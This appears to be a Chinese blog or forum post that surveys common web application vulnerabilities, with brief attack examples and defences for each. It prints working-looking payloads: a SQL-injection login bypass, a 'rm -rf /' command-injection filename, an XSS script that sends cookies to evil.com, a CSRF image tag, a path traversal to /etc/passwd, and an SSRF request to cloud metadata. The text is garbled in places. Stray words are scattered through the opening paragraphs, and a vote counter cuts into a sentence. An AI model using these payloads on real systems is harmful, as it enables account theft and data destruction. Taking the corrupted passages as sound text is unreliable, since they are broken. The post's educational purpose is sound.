去年某电商平台被拖库,应用常起因是漏洞一个商品查询接口没做权限校验——用户把URL里的订单ID从1001改成1002,就能看到别人的应用常收货地址和手机号。这种水平越权,漏洞开发时加一行判断就能防住,应用常但偏偏没人做。漏洞类似的应用常事我见过太多,下面按实际遇到频率从高到低说。漏洞
注入类:SQL注入和命令注入
SQL注入是应用常老生常谈,但至今没绝迹。漏洞某后台登录接口直接把用户名拼进查询语句,应用常输入
' OR 1=1 --就能绕过密码。漏洞更隐蔽的应用常是盲注,攻击者靠页面返回的漏洞真假状态逐字符猜数据,一个手机号能猜几百次请求。应用常命令注入则出现在调系统命令的地方,比如图片处理功能调用exec("convert " + filename),文件名传; rm -rf /就完了。防御手段很明确:参数化查询、白名单校验、别碰字符串拼接。XSS:存储型比反射型更麻烦
反射型XSS需要诱导点击,存储型XSS直接躺在数据库里,谁看谁中招。有个论坛的评论功能没转义HTML,攻击者发一条带
<script>fetch('//evil.com?c='+document.cookie)</script>的评论,所有浏览该帖的用户cookie就被偷走。更阴的是DOM型XSS,服务端完全没参与,前端用innerHTML渲染用户输入就触发。我见过一个SPA应用,路由参数直接塞进v-html,结果被利用来弹窗钓鱼。CSP能缓解,但很多站点配置得太宽松,形同虚设。CSRF:银行转账的经典案例
用户登录网银后访问恶意页面,页面里藏一个自动提交的表单,向银行接口发转账请求。浏览器自动带上cookie,银行以为是用户操作。防御靠CSRF Token和SameSite Cookie。但有个细节:很多站点只在POST请求加Token,GET请求的敏感操作照样裸奔。我见过一个删除资源的接口用GET,攻击者放个
<img src="/delete?id=123">就能让用户误删数据。文件上传与包含
上传头像功能只检查Content-Type,攻击者把webshell改名为
avatar.jpg但实际是PHP文件,配合文件包含漏洞就能执行。更常见的是上传目录可访问且解析脚本,直接getshell。文件包含则出现在include($_GET['page'])这种代码里,传?page=../../etc/passwd读系统文件,或者包含远程URL执行恶意代码。防御要白名单扩展名、重命名文件、禁用远程包含。失效的访问控制与敏感信息泄露
前面说的水平越权属于这类。垂直越权也常见:普通用户直接访问
/admin/deleteUser?id=1,后端没校验角色就执行了。敏感信息泄露则是接口返回了不该返回的字段,比如用户信息接口把password哈希、内部ID、手机号全吐出来。有次我抓包发现某App的API返回了isAdmin: false,改成true重放,直接拿到管理员权限——客户端信任了服务端不该信任的字段。SSRF:从内网探测到云元数据
图片加载、URL预览、Webhook回调这些功能容易出SSRF。攻击者传
http://169.254.169.254/latest/meta-data/就能读云服务器的临时凭证。某次渗透测试中,一个PDF生成服务接受用户提供的URL,我让它请求内网的Redis端口,返回的报错信息暴露了内网拓扑。防御要限制协议、IP黑名单、禁用重定向。这些漏洞背后有个共同点:开发时默认“用户会按预期操作”。但攻击者从不按预期来。我见过最离谱的案例是一个接口用
顶: 21踩: 6md5(uid)做鉴权token,uid是自增的,直接爆破就能越权。安全不是加个WAF就完事,得在每个数据入口和出口都问一句:这个输入可信吗?这个输出该给吗?






评论专区